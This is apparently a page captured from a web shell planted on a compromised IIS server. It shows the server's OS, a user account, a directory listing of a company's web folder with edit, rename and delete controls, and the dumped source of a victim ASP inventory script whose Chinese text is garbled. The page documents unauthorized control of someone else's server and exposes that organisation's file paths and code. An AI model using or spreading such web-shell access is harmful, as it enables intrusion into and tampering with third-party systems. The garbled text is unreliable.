Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>У���Ʒ��Ϣ</title>
</head>

<body>
<div align="center">
  <%
set fs=Server.CreateObject("Scripting.FileSystemObject")
Dim Dingdan(10000)
Dim Detail(1000000,3)
Dim Pro(50)
Dim DL(1000)
id_err = 0
flg_err1 = 0 '�˴�ѭ���в�Ʒ��Ϣ�Ƿ�Ϸ��ı��λ
flg_err2 = 0 '�˴�ѭ���в�Ʒ��Ϣ�Ƿ�Ϸ��ı��λ
zong = 0
daixiu = 0
ershou = 0
Dim HoutaiPath(5)
HoutaiPath(0) = "../../../ASC365_CANADA/Admin/"
HoutaiPath(1) = "../../../ASC365_LOS/Admin/"
HoutaiPath(2) = "../../../ASC365_SFF/Admin/"
HoutaiPath(3) = "../../../ASC365_TPA/Admin/"
HoutaiPath(4) = "../../../ASC365_YYT/Admin/"
set f_check = fs.CreateTextFile(Server.MapPath("../../../ASC365_CANADA/Admin/StoreDataInit/storetime.txt"))
'set f_check = fs.CreateTextFile(Server.MapPath("../../../ASC365_CANADA/Admin/StoreDataInit/storecheck.txt"))
f_check.Writeline("�ֹ�˾|��Ʒ����|������|��Ʒ��|���޿�|���ֿ�")
for i=0 to 999
    danhao1 = right("00"&i, 3)
    Temp1 = server.MapPath("../../Admin/"& danhao1)
    if true = fs.FolderExists(Temp1) then
        for j=0 to 999
            danhao2 = right("00"&j, 3)
            'Temp2 = server.MapPath(Temp1 & "/" & danhao2)
            Temp2 = server.MapPath("../../Admin/"& danhao1 & "/" & danhao2)
            if true = fs.FolderExists(Temp2) then
                'Temp3 = server.MapPath(Temp2 & "/Tech.inc")
                Temp3 = server.MapPath("../../Admin/"& danhao1 &"/"& danhao2 & "/Tech.inc")
                if true = fs.FileExists(Temp3) then
                        for id_houtai = 0 to 4
                            Temp4 = server.MapPath(HoutaiPath(id_houtai)& danhao1 &"/"& danhao2 & "/Store.inc")
                            if true = fs.FileExists(Temp4) then '��ȡ�ļ�·��������ʱ�䣬�޸�ʱ��
                            Set f=fs.GetFile(Temp4)
                            WW = Temp4&"|" &  f.DateCreated & "|"  & f.DateLastModified
                            f_check.writeline(WW)

end if
                        next
                end if
            end if
        next
    end if
next
f_check.close
set f_check = nothing
%>
<table>
<tr>
<td>��Ʒ����</td>
<td>������</td>
<td>���ܿ��</td>
</tr>
<%for i = 0 to 1000000
    if len(Detail(i,0)) = 6 then
%>
<tr>
<td><%=Detail(i,0)%></td>
<td><%=Detail(i,1)%></td>
<td><%=Detail(i,2)%></td>
</tr>
<%end if

next%>
<tr>
<td></td>
<td><%=flg_err1%></td>
<td><%=flg_err2%></td>
</tr>
</table>
</div>

</body>
</html>